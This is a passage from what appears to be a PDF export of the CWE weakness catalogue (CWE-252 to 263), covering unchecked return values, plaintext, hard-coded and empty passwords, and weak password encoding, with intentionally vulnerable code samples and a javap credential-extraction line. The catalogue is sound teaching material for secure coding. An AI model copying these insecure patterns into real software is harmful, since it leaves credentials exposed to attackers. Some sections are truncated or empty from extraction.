String itemName = request.getParameter(ITEM_NAME);if (itemName.compareTo(IMPORTANT_ITEM)) {...}...
```

The following code does not check to see if the string returned by theItem property is null before calling the member function Equals(), potentially causing a NULL dereference. string itemName = request.Item(ITEM\_NAME);

Example Language:

(bad)

```
if (itemName.Equals(IMPORTANT_ITEM)) {...}...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

### Example 6:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language:

(bad)

```
System.clearProperty("os.name");...String os = System.getProperty("os.name");if (os.equalsIgnoreCase("Windows 95"))
System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

### Example 7:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language:

(bad)

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)Dim MyArray(50) As
ByteMyFile.Read(MyArray, 0, 50)DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

### Example 8:

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

### Example 9:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){ struct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t
inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct
in_addr), AF_INET);strcpy(hostname, hp->h_name); }
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. When this occurs, a `NULL` pointer dereference (CWE-476) will occur in the call to `strcpy()`.

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

### Example 10:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(bad)

```
void f(pthread_mutex_t *mutex) { pthread_mutex_lock(mutex); /* access shared resource */ pthread_mutex_unlock(mutex); }
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language:

(good)

```
int f(pthread_mutex_t *mutex) { int result; result = pthread_mutex_lock(mutex);if (0 != result)return result; /* access shared
resource */ return pthread_mutex_unlock(mutex); }
```

## Observed Examples

Reference	Description
<b>CVE-2007-3798</b>	Unchecked return value leads to resultant integer overflow and code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798</a>
<b>CVE-2006-4447</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447</a>
<b>CVE-2006-2916</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916</a>
<b>CVE-2008-5183</b>	chain: unchecked return value can lead to <code>NULL</code> dereference <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5183">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5183</a>
<b>CVE-2010-0211</b>	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0211">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0211</a>

## MemberOf Relationships

## CWE-253: Incorrect Check of Function Return Value

Weakness ID : 253

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

### Extended Description

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1295
ChildOf		573	Improper Following of Specification by Caller	1079

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	1548

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Integrity	DoS: Crash, Exit, or Restart	
	<i>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</i>	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Language Selection*

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

### Phase: Implementation

Properly check all functions which return a value.

### Phase: Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

## Demonstrative Examples

### Example 1:

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

*Example Language: C*

*(bad)*

```
tmp = malloc(sizeof(int) * 4);if (tmp < 0 ) { perror("Failure"); //should have checked if the call returned 0 }
```

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-256: Unprotected Storage of Credentials

**Weakness ID :** 256

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

## Description

Storing a password in plaintext may result in a system compromise.

## Extended Description

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

Nature	Type	ID	Name	Page
CanAlsoBe		319	Cleartext Transmission of Sensitive Information	670

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

Avoid storing passwords in easily accessible locations.

#### Phase: Architecture and Design

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

*Effectiveness = None*

### Demonstrative Examples

#### Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

*Example Language: Java*

*(bad)*

```
...Properties prop = new Properties();prop.load(new FileInputStream("config.properties"));String password = prop.getProperty("password");DriverManager.getConnection(url, usr, password);...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

#### Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

*Example Language: Java*

*(bad)*

```
...String password = regKey.GetValue(passKey).toString();NetworkCredential netCred = new NetworkCredential(username,password,domain);...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system

#### Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties
file ...webapp.idap.username=secretUsernamewebapp.idap.password=secretPassword...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET

(bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-257: Storing Passwords in a Recoverable Format

Weakness ID : 257

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly,

or use a brute force search on the available information, the administrator can use the password on other accounts.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	522	Insufficiently Protected Credentials	1020
PeerOf	B	259	Use of Hard-coded Password	542
PeerOf	B	259	Use of Hard-coded Password	542
PeerOf	B	798	Use of Hard-coded Credentials	1388

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	B	522	Insufficiently Protected Credentials	1020

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Access Control	<i>User's passwords may be revealed.</i>	
Access Control	Gain Privileges or Assume Identity	
	<i>Revealed passwords may be reused elsewhere to impersonate the users in question.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.

## Demonstrative Examples

### Example 1:

Both of these examples verify a password by comparing it to a stored compressed version.

*Example Language: C*

*(bad)*

```
int VerifyAdmin(char *password) {if (strcmp(compress(password), compressed_password)) {printf("Incorrect Password!\n");return(0);}printf("Entering Diagnostic Mode...\n");return(1);}
```

Example Language: Java

(bad)

```
int VerifyAdmin(String password) {if (passwd.Equals(compress(password), compressed_password)) {return(0);} //Diagnostic Mode return(1);}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

### Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties
file ...webapp.Idap.username=secretUsernamewebapp.Idap.password=secretPassword...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET

(bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

## MemberOf Relationships

49	Password Brute Forcing

## CWE-258: Empty Password in Configuration File

<b>Weakness ID</b> : 258	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

Using an empty string as a password is insecure.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	521	Weak Password Requirements	1018
ChildOf	V	260	Password in Configuration File	546

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	V	260	Password in Configuration File	546

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

### Demonstrative Examples

#### Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file ...webapp ldap.username=secretUsernamewebapp ldap.password=...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

Example Language: ASP.NET

(bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

### MemberOf Relationships

## CWE-259: Use of Hard-coded Password

Weakness ID : 259

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

### Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations: Inbound: the software contains an authentication mechanism that checks for a hard-coded password. Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component. In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed

or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place. The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		798	Use of Hard-coded Credentials	1388

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
	<i>If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.</i>	

## Detection Methods

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

## Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

## Potential Mitigations

### Phase: Architecture and Design

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

### Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

### Phase: Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

### Phase: Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved. Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

### Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

## Demonstrative Examples

### Example 1:

The following code uses a hard-coded password to connect to a database:

*Example Language: Java*

*(bad)*

```
...DriverManager.getConnection(url, "scott", "tiger");...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once

the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

*Example Language:* (attack)

```
javap -c ConnMgr.class22: ldc #36; //String jdbc:mysql://ixne.com/rxsql24: ldc #38; //String scott26: ldc #17; //String tiger
```

### Example 2:

The following code is an example of an internal hard-coded password in the back-end:

*Example Language:* C (bad)

```
int VerifyAdmin(char *password) { if (strcmp(password, "Mew!")) { printf("Incorrect Password!\n");return(0) }printf("Entering Diagnostic Mode...\n");return(1); }
```

*Example Language:* Java (bad)

```
int VerifyAdmin(String password) {if (!password.equals("Mew!")) {return(0)}//Diagnostic Modereturn(1);}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

### Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

*Example Language:* Java (bad)

```
# Java Web App ResourceBundle properties
file ...webapp.Idap.username=secretUsernamewebapp.Idap.password=secretPassword...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

*Example Language:* ASP.NET (bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		254	7PK - Security Features	700	1539

Nature	Type	ID	Name	V	Page
MemberOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1564

## CWE-260: Password in Configuration File

**Weakness ID** : 260

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Variant

### Description

The software stores a password in a configuration file that might be accessible to actors who do not know the password.

### Extended Description

This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1020
ParentOf		13	ASP.NET Misconfiguration: Password in Configuration File	11
ParentOf		258	Empty Password in Configuration File	540

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1020
ParentOf		258	Empty Password in Configuration File	540

**Applicable Platforms**

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

**Potential Mitigations**

**Phase: Architecture and Design**

Avoid storing passwords in easily accessible locations.

**Phase: Architecture and Design**

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

**Demonstrative Examples**

**Example 1:**

Below is a snippet from a Java properties file.

*Example Language: Java*

*(bad)*

```
webapp.ldap.username = secretUsernamewebapp.ldap.password = secretPassword
```

Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.

**Example 2:**

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

*Example Language: Java*

*(bad)*

```
# Java Web App ResourceBundle properties
file ...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET

(bad)

```
...<connectionStrings><add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /></connectionStrings>...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-13.

### Affected Resources

## CWE-261: Weak Cryptography for Passwords

Weakness ID : 261

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

Obscuring a password with a trivial encoding does not protect the password.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		326	Inadequate Encryption Strength	682
ChildOf		287	Improper Authentication	599

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management	1540
ChildOf		326	Inadequate Encryption Strength	682

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.

### Demonstrative Examples

#### Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

*Example Language: Java*

*(bad)*

```
...Properties prop = new Properties();prop.load(new FileInputStream("config.properties"));String password = Base64.decode(prop.getProperty("password"));DriverManager.getConnection(url, usr, password);...
```

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

#### Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

*Example Language: C#*

*(bad)*

```
...string value = regKey.GetValue(passKey).ToString();byte[] decVal = Convert.FromBase64String(value);NetworkCredential netCred = new NetworkCredential(username,decVal.ToString(),domain);...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		254	7PK - Security Features	700	1539
MemberOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1566
MemberOf		959	SFP Secondary Cluster: Weak Cryptography	888	1626

### Notes

#### Other

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management

problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password. The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

## CWE-262: Not Using Password Aging

**Weakness ID** : 262

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

If no mechanism is in place for managing password aging, users will have no incentive to update passwords in a timely manner.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	827
ChildOf		287	Improper Authentication	599
PeerOf		263	Password Aging with Long Expiration	551
PeerOf		309	Use of Password System for Primary Authentication	649
PeerOf		324	Use of a Key Past its Expiration Date	679

*Relevant to the view "Architectural Concepts" (CWE-1008)*

MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management	1540

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>As passwords age, the probability that they are compromised grows.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

The recommendation that users change their passwords regularly and do not reuse passwords is universal among security experts. In order to enforce this, it is useful to have a password aging mechanism that notifies users when passwords are considered old and that requests that they replace them with new, strong passwords. In order for this functionality to be useful, however, it must be accompanied with documentation which stresses how important this practice is and which makes the entire process as simple as possible for the user.

### Demonstrative Examples

#### Example 1:

A common example is not having a system to terminate old employee accounts.

#### Example 2:

Not having a system for enforcing the changing of passwords every certain period.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-263: Password Aging with Long Expiration

Weakness ID : 263

Status: Draft

**Structure** : Simple**Abstraction** : Base

## Description

Allowing password aging to occur unchecked can result in the possibility of diminished password integrity.

## Extended Description

Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	404	Improper Resource Shutdown or Release	827
ChildOf	G	287	Improper Authentication	599

MemberOf	C	255	Credentials Management	1540

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
	<i>As passwords age, the probability that they are compromised grows.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords and so that the user is notified several times leading up to the password expiration.

## Demonstrative Examples

### Example 1:

A common example is not having a system to terminate old employee accounts.

### Example 2:

Not having a system for enforcing the changing of passwords every certain period.

## MemberOf Relationships

ParentOf	V	1022	Use of Web Link to Untrusted Target with window.opener Access	1521

### Weakness Ordinalities

Resultant :

### Applicable Platforms

Language : Language-Independent (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

